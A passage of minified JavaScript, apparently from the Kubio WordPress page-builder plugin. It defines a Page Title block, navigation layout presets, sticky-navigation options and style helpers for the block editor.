0:e.tagName,"data-kubio":t.block.name}}})),He.withDispatchWpBLock),Hp=Wp((e=>{const{StyledElements:t}=e;return Object(xe.createElement)(t.Container,null,Object(xe.createElement)("span",{dangerouslySetInnerHTML:{__html:Mp}}))})),Gp=[{value:"h1",label:Object(We.__)("H1","kubio")},{value:"h2",label:Object(We.__)("H2","kubio")},{value:"h3",label:Object(We.__)("H3","kubio")},{value:"h4",label:Object(We.__)("H4","kubio")},{value:"h5",label:Object(We.__)("H5","kubio")},{value:"h6",label:Object(We.__)("H6","kubio")}],Up=[{path:"normalPage",label:Object(We.__)("Normal page format","kubio")},{path:"normalResultsPage",label:Object(We.__)("Normal results page","kubio")},{path:"errorPage",label:Object(We.__)("404 Error Page","kubio")}],Fp=[{path:"singlePost",label:Object(We.__)("Single post","kubio")},{path:"categoryArchive",label:Object(We.__)("Category archive","kubio")},{path:"authorArchive",label:Object(We.__)("Author archive","kubio")},{path:"tagArchive",label:Object(We.__)("Tag archive","kubio")},{path:"yearArchive",label:Object(We.__)("Year archive","kubio")},{path:"monthArchive",label:Object(We.__)("Month archive","kubio")},{path:"dayArchive",label:Object(We.__)("Day archive","kubio")}];var zp=Object(He.withComputedData)((e=>({dataHelper:e,defaultTextAlign:Object(tl.useInheritedTextAlign)()})))((e=>{let{computed:t}=e;const{dataHelper:o,defaultTextAlign:n}=t,a={type:He.WithDataPathTypes.STYLE,style:Dp},l=void 0===o.getStyle("textAlign")?n:o.getStyle("textAlign");return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Page Title Properties","kubio")},Object(xe.createElement)(Re.ToggleGroupWithPath,{label:Object(We.__)("Heading type","kubio"),path:"level",options:Gp,type:He.WithDataPathTypes.PROP}),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,Object(ut.a)({label:Object(We.__)("Text align","kubio"),path:"textAlign",useContentAlignIcons:!1,media:"auto",defaultValue:n,value:l},a))),Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Formatting for Pages","kubio")},Up.map((e=>Object(xe.createElement)(Re.InputControlWithPath,{key:e.path,label:e.label,path:"templates."+e.path,type:He.WithDataPathTypes.ATTRIBUTE})))),Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Formatting for Blog","kubio")},Fp.map((e=>Object(xe.createElement)(Re.InputControlWithPath,{key:e.path,label:e.label,path:"templates."+e.path,type:He.WithDataPathTypes.ATTRIBUTE})))))}));const Vp=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(zp,null)),Yp=Object(He.withComputedData)((e=>({holderName:xp(e)})))((e=>{let{computed:t}=e;const o={type:He.WithDataPathTypes.STYLE,style:Dp};return Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Text","kubio")},Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text color","kubio"),path:"typography.color"},o,{defaultValue:Object(tl.useInheritedTypographyValue)(t.holderName,"color")})),Object(xe.createElement)(Re.TypographyControlPopupWithPath,{path:"typography",withColor:!1}),Object(xe.createElement)(Re.TextShadowControlPopupWithPath,Object(ut.a)({path:"textShadow"},o)))})),$p=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(Yp,null));const Kp={name:"kubio/page-title",category:"kubio-site-data",attributes:{kubio:{type:"object"},templates:{type:"object",default:{normalPage:"{TITLE}",normalResultsPage:"Search results for: {TITLE}",errorPage:"Sorry! Page Not Found!",singlePost:"{TITLE}",categoryArchive:"Posts in {TITLE}",authorArchive:"Posts by {TITLE}",tagArchive:"Posts about {TITLE}",yearArchive:"Posts from {TITLE}",monthArchive:"Posts from {TITLE}",dayArchive:"Posts from {TITLE}"}}},supports:{kubio:{appearanceEffect:!0,default:{style:{textAlign:"center"},props:{level:"h1"}},elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0,selector:"p.wp-block, h1.wp-block, h2.wp-block, h3.wp-block, h4.wp-block, h5.wp-block, h6.wp-block",selectorPrepend:!0,className:["kubio-page-title"]}},template:{type:"element",props:{name:"container"}}}}},qp=Object(nn.extendBlockMeta)(Kp,{title:Object(We.__)("Page Title","kubio"),description:Object(We.__)("This block automatically pulls the page’s name and makes it the page’s title","kubio"),keywords:[Object(We.__)("page title","kubio"),Object(We.__)("title","kubio")],icon:on.BlockIcons.PageTitle,apiVersion:2,supports:{kubio:{elementsByName:Lp},reusable:!1,html:!1},edit:function(e){return Object(He.useNoticeOnBlockRemove)(Object(We.__)("You have just deleted the Page Title block. This block content automatically changes to the title you set for the page.","kubio"),"warn",[{label:Object(We.__)("Read more","kubio"),onClick:()=>{window.open("https://kubiobuilder.com/documentation/page-title-block/",Object(We.__)("Page Title","kubio")).focus()}}]),Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Vp,null),Object(xe.createElement)($p,null),Object(xe.createElement)(Hp,e))}}),Xp={NAVIGATION_CONTAINER:"outer",NAVIGATION_SECTION:"section"},Qp={[Xp.NAVIGATION_CONTAINER]:{label:Object(We.__)("Container","kubio"),internal:!0,supports:{styles:cn.StylesPresetsEnum.CONTAINER_BASIC,states:cn.StatesPresetsEnum.NONE},states:["normal","hover"]},[Xp.NAVIGATION_SECTION]:{label:Object(We.__)("Navigation","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER,cn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER_ADVANCED],states:cn.StatesPresetsEnum.NONE,separator:!0}}},Zp=()=>{const{ownerDocument:e}=Object(He.useOwnerDocumentContext)(),t=Object(xe.useCallback)((function(){for(var t=arguments.length,o=new Array(t),n=0;n<t;n++)o[n]=arguments[n];return((e,t,o)=>{window.queueMicrotask((()=>{e.documentElement.style.setProperty(t,o)}))})(e,...o)}),[e]);return t},Jp=[Yo.NAVIGATION_TOP_BAR,Yo.NAVIGATION_SECTION],eb=[Object(He.composeBlockWithStyle)(Yo.NAVIGATION_SECTION,{attributes:{}})],tb=Object(Me.compose)(Object(He.withColibriDataAutoSave)(((e,t)=>{const o={ancestor:""};return{overlap:e.getProp("overlap",!1,o),verticalAlignByMedia:e.getPropByMedia("verticalAlign",{},o),sticky:e.usePropPath("sticky",o,!1),widthType:e.getProp("width",void 0,o),isChangingLayout:e.getContextProp("isChangingLayout",!1)}})),Object(He.withStyledElements)((function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{computed:t={}}=e;return{[Xp.NAVIGATION_CONTAINER]:{className:()=>{const e=[];return t.overlap&&e.push("h-navigation_overlap"),t.isChangingLayout&&e.push("is-changing-layout"),e}}}})),Object(He.withContainerBase)()),ob=tb((e=>{const{StyledElements:t,Separators:o,Background:n,computed:a}=e,{sticky:l}=a;(()=>{const{ownerDocument:e}=Object(He.useOwnerDocumentContext)(),t=Zp(),o=Object(xe.useCallback)((()=>{const o=e.querySelector(".block-editor-writing-flow");if(!o)return;const n=o.getBoundingClientRect();t("--kubio-canvas-width",o.clientWidth+"px"),t("--kubio-canvas-top-offset",n.top+"px"),t("--kubio-canvas-left-offset",n.left+"px")}),[e]),n=Object(Me.useThrottle)(o,10),a=Object(xe.useRef)(new ResizeObserver(n));Object(Lr.useOwnerDocumentChanged)((e=>{if(!e.isSameNode(top.document))return a.current.disconnect(),t("--kubio-canvas-width","100%"),t("--kubio-canvas-top-offset","0px"),void t("--kubio-canvas-left-offset","0px");const n=e.body;return a.current.observe(n,{box:"border-box"}),o(),()=>{a.current.disconnect()}}))})();const r=$o({},{renderAppender:!1,templateLock:!1,allowedBlocks:Jp}),i=Object(He.useUndoTrapDispatch)();return Object(xe.useEffect)((()=>{(null==l?void 0:l.value)&&i((()=>new Promise((e=>{l.onChange(!1),setTimeout(e,10)}))),{silent:!0})}),[]),Object(xe.createElement)(t.Outer,null,Object(xe.createElement)(n,null),Object(xe.createElement)(o,null),Object(xe.createElement)("div",r))})),nb={SLIDE_DOWN:"slideDown",FADE:"fade",NONE:"none"},ab=[{label:"none",value:nb.NONE},{label:"slide down",value:nb.SLIDE_DOWN},{label:"fade",value:nb.FADE}],lb={[nb.SLIDE_DOWN]:{IN:"slideInDown",OUT:"slideOutDownNavigation"},[nb.FADE]:{IN:"fadeIn",OUT:"fadeOut"},[nb.NONE]:{IN:"h-global-transition-disable",OUT:"h-global-transition-disable"}},rb={IN:[],OUT:[]};Ne.a.each(lb,(e=>{Ne.a.each(e,((e,t)=>{rb[t].push(e)}))}));const ib={items:ab,values:nb,inOutAnimations:{byName:lb,allInAnimations:rb.IN,allOutAnimations:rb.OUT}},cb={LOGO_SPACING_MENU:"logo-spacing-menu",LOGO_ABOVE_MENU:"logo-above-menu",LOGO_MENU_CUSTOM:"logo-menu-custom",MENU_LOGO_CUSTOM:"menu-logo-custom",LOGO_CUSTOM_MENU_BELLOW:"logo-custom-menu-bellow",CUSTOM:"custom",SAME:"same"},sb="immediately",ub="afterHero",pb=[sb];let bb=[{label:"immediately",value:sb},{label:"after hero section",value:ub}];bb=Object(ji.addProTagToItems)(bb,pb);const mb={BOXED:"boxed",FULL_WIDTH:"full-width"},db={[mb.FULL_WIDTH]:"h-section-fluid-container",[mb.BOXED]:"h-section-boxed-container"},hb=[{value:mb.BOXED,label:Object(We.__)("Container","kubio")},{value:mb.FULL_WIDTH,label:Object(We.__)("Full","kubio")}],Ob=Ne.a.merge({},vn.EDIT_LAYOUT,{label:Object(We.__)("Change nav layout","kubio")}),gb=Ne.a.merge({},vn.SELECT_BLOCK,{label:Object(We.__)("Nav settings","kubio")}),yb=[[vn.CHANGE_BACKGROUND,Ob],[gb]],jb={logoNav:on.NavOption1,logoAbove:on.NavOption2,logoNavCta:on.NavOption3,navLogoCta:on.NavOption4,logoNavCta2:on.NavOption5,custom:on.CustomIcon},kb=cb;let Eb=[{label:"logo / nav",value:kb.LOGO_SPACING_MENU,icon:jb.logoNav},{label:"logo above menu",value:kb.LOGO_ABOVE_MENU,icon:jb.logoAbove},{label:"logo / nav / CTA",value:kb.LOGO_MENU_CUSTOM,icon:jb.logoNavCta},{label:"nav / logo / CTA",value:kb.MENU_LOGO_CUSTOM,icon:jb.navLogoCta},{label:"nav under logo and CTA",value:kb.LOGO_CUSTOM_MENU_BELLOW,icon:jb.logoNavCta2},{label:"custom",value:kb.CUSTOM,icon:jb.custom}];const fb=[kb.LOGO_SPACING_MENU,kb.LOGO_ABOVE_MENU,kb.CUSTOM];Eb=Object(ji.addProTagToItems)(Eb,fb);const vb=[kb.LOGO_SPACING_MENU,kb.LOGO_MENU_CUSTOM,kb.MENU_LOGO_CUSTOM],_b=Ne.a.filter(Ne.a.clone(Eb),(e=>-1!==Ne.a.indexOf(vb,e.value)));_b.push({label:"same layout",value:kb.SAME});const Cb=Object(He.composeBlockWithStyle)(Yo.LOGO,{props:{},attributes:{}}),Ib=()=>{const e=Object(He.getBlockDefaultVariation)(Yo.DROPDOWN_MENU)||{},t=Ne.a.get(e,"innerBlocks",[]);return e.innerBlocks=t.map((e=>{let[t,o,n]=e;return t===Yo.MENU_ITEMS&&(o={...o,location:"header-menu"}),[t,o,n]})),[Yo.DROPDOWN_MENU,e.attributes,e.innerBlocks]},Tb=()=>{const e=Object(He.getBlockDefaultVariation)(Yo.BUTTON)||{},{attributes:t={},innerBlocks:o=[]}=e,n={...t,text:Object(We.__)("Start Now!","kubio")},a=Object(He.composeBlockWithStyle)(Yo.BUTTON,{attributes:n},o,!0);return Object(He.composeBlockWithStyle)(Yo.BUTTON,t,o,!0),Object(He.composeBlockWithStyle)(Yo.BUTTON_GROUP,{},[a],!0)},Sb=Object(He.composeBlockWithStyle)(Yo.SPACER,{props:{},attributes:{}}),wb=cb,{ColumnWidthTypes:Pb}=cn.columnWidth,Ab=e=>({type:Pb.CUSTOM,custom:{value:e,unit:"%"}}),Bb=()=>({type:Pb.FLEX_GROW}),Nb=()=>({type:Pb.FIT_TO_CONTENT}),xb=function(){let e=arguments.length>0&&void 0!==arguments[0]&&arguments[0],t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];const o=(t,o)=>function(e,t){let o=arguments.length>2&&void 0!==arguments[2]&&arguments[2];const n=Ne.a.get(t,"sticky");let a;const l=Dn({},t.width,t.mobileWidth);a=n?{ancestor:{sticky:l}}:l;const r=Object(He.composeBlockWithStyle)(Yo.COLUMN,{_style:a,props:Object(Be.merge)({layout:{verticalAlign:"center"},internal:{navContent:{type:e}}})},o?[]:(e=>{const t={logo:Cb,menu:Ib(),custom:Tb(),spacing:Sb};return t[e]?[t[e]]:[]})(e));return{type:e,block:r,options:t}}(t,o,e);return{[wb.LOGO_SPACING_MENU]:{rows:[[o("logo",{width:Nb(),mobileWidth:Bb(),sticky:t}),o("spacing",{width:Bb(),sticky:t}),o("menu",{width:Nb(),mobileWidth:Nb(),sticky:t})]]},[wb.LOGO_ABOVE_MENU]:{rows:[[o("logo",{width:Ab(100),mobileWidth:Bb(),sticky:t}),o("menu",{width:Ab(100),mobileWidth:Nb(),sticky:t})]],stickyLayout:wb.LOGO_SPACING_MENU},[wb.LOGO_MENU_CUSTOM]:{rows:[[o("logo",{width:Nb(),mobileWidth:Bb(),sticky:t}),o("menu",{width:Bb(),mobileWidth:Nb(),sticky:t}),o("custom",{width:Nb(),mobileWidth:Ab(100),sticky:t})]]},[wb.MENU_LOGO_CUSTOM]:{rows:[[o("menu",{width:Bb(),mobileWidth:Bb(),sticky:t}),o("logo",{width:Nb(),mobileWidth:Nb(),sticky:t}),o("custom",{width:Bb(),mobileWidth:Ab(100),sticky:t})]]},[wb.LOGO_CUSTOM_MENU_BELLOW]:{rows:[[o("logo",{width:Nb(),mobileWidth:Bb(),sticky:t}),o("custom",{width:Bb(),mobileWidth:Ab(100),sticky:t}),o("menu",{width:Ab(100),mobileWidth:Nb(),sticky:t})]],stickyLayout:wb.LOGO_MENU_CUSTOM}}},Rb=Ne.a.memoize((function(){let e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];const t=xb(e,!1),o=xb(e,!0),n=e=>{Ne.a.each(e,(e=>{const t=[[]];Ne.a.each(e.rows,((e,o)=>{Ne.a.isArray(e)?t[o]=Ne.a.map(e,"type"):t[0].push(e.type)})),e.structure=t}))};return n(t),n(o),{NavLayouts:t,NavLayoutsSticky:o}})),Db=cb,{supports:Lb}={attributes:{hideSubmenu:{type:"boolean",default:!1}},providesContext:{"kubio/hideSubmenu":"hideSubmenu"},supports:{kubio:{default:{style:{descendants:{"main-menu-a":{typography:{decoration:"none"}},"sub-menu-a":{typography:{decoration:"none"}}}}},elementsEnum:{MAIN_MENU_UL:"main-menu-ul",MAIN_MENU_LI:"main-menu-li",MAIN_MENU_A:"main-menu-a",MAIN_MENU_ICON:"main-menu-icon",SUB_MENU_UL:"sub-menu-ul",SUB_MENU_LI:"sub-menu-li",SUB_MENU_A:"sub-menu-a",SUB_MENU_ICON:"sub-menu-icon",FIRST_SUB_MENU_UL_BEFORE:"first-sub-menu-ul-before",FIRST_SUB_MENU_UL:"first-sub-menu-ul"},elementsByName:{"main-menu-ul":{selector:"> .kubio-menu > ul"},"main-menu-li":{selector:{normal:"> .kubio-menu > ul > li"}},"main-menu-a":{selector:{normal:"> .kubio-menu > ul > li > a",hover:"> .kubio-menu > ul > li > a:hover,> .kubio-menu > ul > li > a.hover",menuButtonActive:"> .kubio-menu > ul > li.current-menu-item > a,> .kubio-menu > ul > li.current_page_item > a"}},"main-menu-icon":{selector:"> .kubio-menu > ul > li > a > svg"},"sub-menu-ul":{selector:"> .kubio-menu li > ul"},"sub-menu-li":{selector:{normal:"> .kubio-menu li > ul > li"}},"sub-menu-a":{selector:{normal:"> .kubio-menu li > ul > li> a",hover:"> .kubio-menu li > ul > li > a:hover,> .kubio-menu li > ul > li > a.hover",menuButtonActive:"> .kubio-menu li > ul > li.current-menu-item > a,> .kubio-menu li > ul > li.current_page_item > a"}},"sub-menu-icon":{selector:"> .kubio-menu li > ul > li > a > svg"},"first-sub-menu-ul":{selector:"> .kubio-menu > ul > li > ul"},"first-sub-menu-ul-before":{selector:"> .kubio-menu > ul > li > ul:before"}}}}},Mb=Lb.kubio.elementsEnum.MAIN_MENU_UL,Wb=(e,t,o)=>{Ne.a.each(t,((t,n)=>{e.setStyle("textAlign",t,{media:n,ancestor:"sticky"===o?"sticky":""})})),Ub(e.withParent(),t,o)},Hb=(e,t,o)=>{const n={left:"flex-start",center:"center",right:"flex-end"};Ne.a.each(t,((t,a)=>{const l={media:a,ancestor:"sticky"===o?"sticky":"",styledComponent:"container"},r=n[t];e.setStyle("alignItems",r,l),e.setStyle("justifyContent",r,l)})),Ub(e.withParent(),t,o)},Gb=(e,t,o)=>{const n={left:"flex-start",center:"center",right:"flex-end"};Ne.a.each(t,((t,a)=>{e.setStyle("justifyContent",n[t],{media:a,styledComponent:Mb,ancestor:"sticky"===o?"sticky":""})})),Ub(e.withParent(),t,o)},Ub=(e,t,o)=>{Ne.a.each(t,((t,n)=>{e.setStyle("textAlign",t,{media:n,ancestor:"sticky"===o?"sticky":""})}))},Fb=(e,t)=>{const o=e.wrapperStyledComponent,n={styledComponent:o,media:"mobile",ancestor:"sticky"===t?"sticky":""};e.getStyle("order",null,{...n,styledComponent:o,fromRoot:!0})&&e.setStyle("order",null,{...n,unset:!0})},zb=(e,t,o)=>{const n={styledComponent:e.wrapperStyledComponent,media:"mobile",ancestor:"sticky"===o?"sticky":""};e.setStyle("order",t,n)},Vb={[Db.LOGO_SPACING_MENU]:{[Yo.LOGO](e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"normal",o=arguments.length>2?arguments[2]:void 0;Hb(o,{desktop:"left",mobile:"left"},t),Fb(o.withParent(),t)},[Yo.SPACER](e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"normal",o=arguments.length>2?arguments[2]:void 0;o.withParent().setProp("isHidden",!0,{media:"mobile"}),Fb(o.withParent(),t)},[Yo.DROPDOWN_MENU](e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"normal",o=arguments.length>2?arguments[2]:void 0;Gb(o,{desktop:"right",mobile:"right"},t),Fb(o.withParent(),t)}},[Db.LOGO_ABOVE_MENU]:{[Yo.LOGO](e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"normal",o=arguments.length>2?arguments[2]:void 0;Hb(o,{desktop:"center",mobile:"left"},t),Fb(o.withParent(),t)},[Yo.DROPDOWN_MENU](e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"normal",o=arguments.length>2?arguments[2]:void 0;Gb(o,{desktop:"center",mobile:"center"},t),Fb(o.withParent(),t)}},[Db.LOGO_MENU_CUSTOM]:{[Yo.LOGO](e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"normal",o=arguments.length>2?arguments[2]:void 0;Hb(o,{desktop:"left",mobile:"left"},t),Fb(o.withParent(),t)},[Yo.DROPDOWN_MENU](e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"normal",o=arguments.length>2?arguments[2]:void 0;Gb(o,{desktop:"right",mobile:"right"},t),Fb(o.withParent(),t)},[Yo.BUTTON_GROUP](e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"normal",o=arguments.length>2?arguments[2]:void 0;Wb(o,{desktop:"left",mobile:"center"},t),Fb(o.withParent(),t)}},[Db.MENU_LOGO_CUSTOM]:{[Yo.LOGO](e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"normal",o=arguments.length>2?arguments[2]:void 0;Hb(o,{desktop:"center",mobile:"center"},t),Fb(o.withParent(),t)},[Yo.DROPDOWN_MENU](e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"normal",o=arguments.length>2?arguments[2]:void 0;Gb(o,{desktop:"left",mobile:"left"},t),Fb(o.withParent(),t)},[Yo.BUTTON_GROUP](e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"normal",o=arguments.length>2?arguments[2]:void 0;Wb(o,{desktop:"right",mobile:"center"},t),Fb(o.withParent(),t)}},[Db.LOGO_CUSTOM_MENU_BELLOW]:{[Yo.LOGO](e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"normal",o=arguments.length>2?arguments[2]:void 0;Hb(o,{desktop:"left",mobile:"left"},t),zb(o.withParent(),1,t)},[Yo.BUTTON_GROUP](e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"normal",o=arguments.length>2?arguments[2]:void 0;Wb(o,{desktop:"right",mobile:"center"},t),zb(o.withParent(),3,t)},[Yo.DROPDOWN_MENU](e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"normal",o=arguments.length>2?arguments[2]:void 0;Gb(o,{desktop:"center",mobile:"right"},t),zb(o.withParent(),2,t)}}},Yb={ancestor:""},$b=(e,t)=>{let o=null;return e&&e.length&&e.forEach((e=>{e.blockName===t&&(o=e)})),o},Kb=e=>$b(e.withChildren(),Yo.NAVIGATION_SECTION),qb=e=>{const t=Kb(e);return $b(null==t?void 0:t.withChildren(),Yo.NAVIGATION_ITEMS)},Xb=e=>{const t=Kb(e);return t?$b(null==t?void 0:t.withChildren(),Yo.NAVIGATION_STICKY_ITEMS):[]},Qb=e=>{const t=qb(e);return t?t.withChildren():[]},Zb=e=>{const t=Xb(e);return t&&!Array.isArray(t)?t.withChildren():[]},Jb="internal.navContent.type",em="other",tm=async function(e,t){var o;let{replaceInnerBlocks:n,removeBlock:a,insertBlock:l}=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"";if(e===kb.SAME){const e=Xb(t);return null!=e&&e.clientId&&await a(null==e?void 0:e.clientId),function(e){const t=Qb(e);Ne.a.each(t,((e,t)=>{const o=e.withChildren();Ne.a.each(o,(e=>{const t={local:!0,styledComponent:"container"},o=e.getStyleByMedia("columnWidth",null,{ancestor:"",fromRoot:!0,...t});Ne.a.each(o,((o,n)=>{o&&e.setStyle("columnWidth",o,{ancestor:"sticky",media:n,unset:!0,...t})}))}))}))}(t),void om(t,Vb[r],"sticky")}const i=null===(o=Rb().NavLayoutsSticky[e])||void 0===o?void 0:o.rows;let c=Xb(t);if(!c){var s;const e=Qb(t).map((e=>e.exportAsTemplate(!0,!0))),o=Object(Ge.createBlocksFromInnerBlocksTemplate)([Object(He.composeBlockWithStyle)(Yo.NAVIGATION_STICKY_ITEMS,{},e)]),n=null===(s=Kb(t))||void 0===s?void 0:s.clientId;await l(o[0],0,n,!1)}c=Xb(t);const u=Zb(t);await nm(e,t,{existingRows:u,replaceInnerBlocks:n,state:"sticky",itemsBlock:c,templateRows:i})},om=(e,t,o)=>{t&&e.group((()=>{e.walk((e=>{const n=null==t?void 0:t[e.blockName];n&&n(null,o,e)}))}))},nm=async(e,t,o)=>{let{replaceInnerBlocks:n,state:a="normal",existingRows:l,itemsBlock:r,templateRows:i}=o;const c=Vb[e],s=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[];const o=Ne.a.cloneDeep(e),n=am(t),a=[];return Ne.a.each(o,((e,o)=>{const l=[];let r=[];if(Ne.a.each(e,(e=>{const t=null==n?void 0:n[e.type];let o;o=t?((e,t)=>{let{block:o,options:n}=t;const a=Ne.a.get(n,"sticky"),l=Ne.a.get(n,"width"),r=n.mobileWidth||n.width,i=Dn({},l,r);let c;c=a?{ancestor:{sticky:i}}:i;const s=e.exportAsTemplate(),u=s[2],p={};return e.withChildren().forEach((e=>{p[e.blockName]=!0})),Ne.a.each(o[2],(e=>{Ne.a.has(p,e[0])||u.push(e)})),Object(He.composeBlockWithStyle)(Yo.COLUMN,{attributes:{...Ne.a.merge(s[1],{kubio:{_style:c,style:n.style||{},props:n.props||{}}})}},s[2])})(t.columnHelper,e):e.block,l.push(o)})),r=[Yo.ROW,{},[]],t.length){let e;t[o]?e=t[o]:(e=t[0],e.unlinkBlockAfterDuplicate(!1)),r=e.exportAsTemplate(!1)}r[2]=l,a.push(r)})),a}(i,l),u="normal"===a?qb(t):Xb(t);u.group((async()=>(await n(null==r?void 0:r.clientId,Object(Ge.createBlocksFromInnerBlocksTemplate)(s)),om(u,c,a))))},am=e=>{const t=[];return Ne.a.each(e,(e=>{const o=e.withChildren();Ne.a.each(o,(e=>{const o=e.getProp(Jb,em,Yb);t.push({type:o,columnHelper:e})}))})),Ne.a.mapKeys(t,"type")},lm=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"normal",o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"custom";const n=("normal"===t?Qb(e):Zb(e)).map((e=>e.withChildren().map((e=>e.getProp(Jb,em,Yb))))),a=Rb(!0),l="normal"===t?a.NavLayouts:a.NavLayoutsSticky;let r=o;return Ne.a.each(l,((e,t)=>{let{structure:o}=e;if(ri()(n,o))return r=t,!1})),r};function rm(e){let{slug:t,type:o,hooks:n}=e;const{getEntityRecords:a,getEntityRecordEdits:l}=n,r=a("postType",o,{per_page:-1}).find((function(e){return e.slug===t}));if(!r)return;const i=l("postType",r,r.id);let c;var s;return c=i?i.blocks:Object(Ge.parse)(null==r||null===(s=r.content)||void 0===s?void 0:s.raw),c}const im="core/block-editor",cm=e=>{let{startAfter:t,layoutType:o,animation:n}=e;const a=t.value===ub;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.GutentagSelectControl,Object(ut.a)({label:Object(We.__)("Show sticky nav","kubio"),options:bb},t)),Object(xe.createElement)(Re.GutentagSelectControl,Object(ut.a)({label:Object(We.__)("Sticky navigation layout","kubio"),options:_b},o)),a&&Object(xe.createElement)("div",{className:"navigation_animation_container"},Object(xe.createElement)(Re.GutentagSelectControl,Object(ut.a)({label:Object(We.__)("Animation ","kubio"),options:ib.items},n)),n.value!==nb.NONE&&Object(xe.createElement)(Re.RangeWithPath,{path:"animation.duration.value",max:2,step:.1,style:Xp.NAVIGATION,type:He.WithDataPathTypes.STYLE,label:Object(We.__)("Animation duration","kubio")})))},sm={ancestor:""},um=Object(Me.compose)([Object(He.withComputedData)(((e,t)=>{const o=e.withChildren(),n=Object(He.useGroupDispatch)(),{insertBlock:a,removeBlock:l}=Object(Ve.useDispatch)(im),r=e.getProp("sticky",sm,!1),i=(()=>{const e=Object(He.getBlockDefaultVariation)(Yo.NAVIGATION_TOP_BAR);if(!e)return{};const{attributes:t,innerBlocks:o}=e;return Object(Ge.createBlock)(Yo.NAVIGATION_TOP_BAR,t,Object(He.convertTemplateFormatToBlock)(o))})(),c=(e=>Ne.a.find(e,(e=>{if(e.blockName===Yo.NAVIGATION_TOP_BAR)return!0})))(o),{ancestor:s,setAncestor:u}=Object(He.useAncestorContext)(),p={value:r,onChange:t=>{e.setProp("sticky",t,sm),t||u("")}},b={value:!!c,onChange:t=>{t?a(i,0,null==e?void 0:e.clientId,!1):l(c.clientId)}},m=c?c.usePropPath("width"):{},{replaceInnerBlocks:d}=Object(Ve.useDispatch)(im),h=lm(e),O=Object(xe.useMemo)((()=>{let e=Eb;return h!==kb.CUSTOM&&(e=e.filter((e=>e.value!==kb.CUSTOM))),e=is(e),e}),[h]),g={value:h,onChange:t=>{n((()=>async function(e,t){let o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};t.group((async()=>{const{replaceInnerBlocks:n}=o;try{const a=Qb(t),l=qb(t),r=Rb().NavLayouts[e],i=Ne.a.get(r,"stickyLayout",kb.SAME),c=r.rows;await nm(e,t,{existingRows:a,replaceInnerBlocks:n,itemsBlock:l,templateRows:c}),await tm(i,t,o,e)}catch(e){throw e}}))}(t,e,{replaceInnerBlocks:d,removeBlock:l,insertBlock:a})))},options:O},y=lm(e,"sticky",kb.SAME);return{layoutTypeProps:g,showTopBar:b,sticky:p,stickyOptions:{animation:e.usePropPath("animation.name",sm),layoutType:{value:y,onChange:t=>{tm(t,e,{replaceInnerBlocks:d,removeBlock:l,insertBlock:a},h)}},startAfter:e.usePropPath("stickyStartAt",sm)},topBarWidth:m,overlap:{value:e.getProp("overlap",!1,sm),onChange:t=>{e.setProp("overlap",t);let o={};t||(o=e.getStyle("background",{},{ancestor:"sticky"})),e.setStyle("background",o,{...sm,mergeData:!1})}},dataHelper:e}}))])((e=>{let{computed:t}=e;const{layoutTypeProps:o,showTopBar:n,sticky:a,stickyOptions:l,topBarWidth:r,overlap:i,dataHelper:c}=t,s=Object(He.useDataHelperDefaultOptionsContext)({defaultOptions:{ancestor:""}}),{showCopyFrontpage:u,onCopyFrontNavigationChange:p}=function(e){const{replaceBlock:t,selectBlock:o}=Object(Ve.useDispatch)("core/block-editor"),{isGutentag:n}=Object(Ve.useSelect)((e=>({isGutentag:!!e(Fe.STORE_KEY)})),[]);if(!n)return{showCopyFrontpage:!1,copyNavFromFrontpage:Ne.a.noop(),isNavigationLinkedToFrontPage:!1,onCopyFrontNavigationChange:Ne.a.noop()};const{currentFrontEntity:a,getEntityRecords:l,currentSlug:r,getEntityRecordEdits:i}=Object(Ve.useSelect)((e=>{const{getEntityRecords:t,getEntityRecordEdits:o,getEditedEntityRecord:n}=e("core");return{currentSlug:Ne.a.get(e(Fe.STORE_KEY).getPage(),"slug",""),getEntityRecordEdits:o,getEntityRecords:t,currentFrontEntity:n("root","site").show_on_front}}),[]),{frontendHeaderSlug:c,frontendNavigation:s}=Object(xe.useMemo)((()=>{if("page"!==a)return{frontendHeaderSlug:"",frontendNavigation:!1};const e={getEntityRecordEdits:i,getEntityRecords:l},t=rm({slug:"front-page",type:"wp_template",hooks:e});if(!t)return{frontendHeaderSlug:"",frontendNavigation:!1};const o=t.filter((function(e){return"kubio/header"===e.name}))[0],n=Ne.a.get(o,"attributes.slug"),r=rm({slug:n,type:"wp_template_part",hooks:e});return 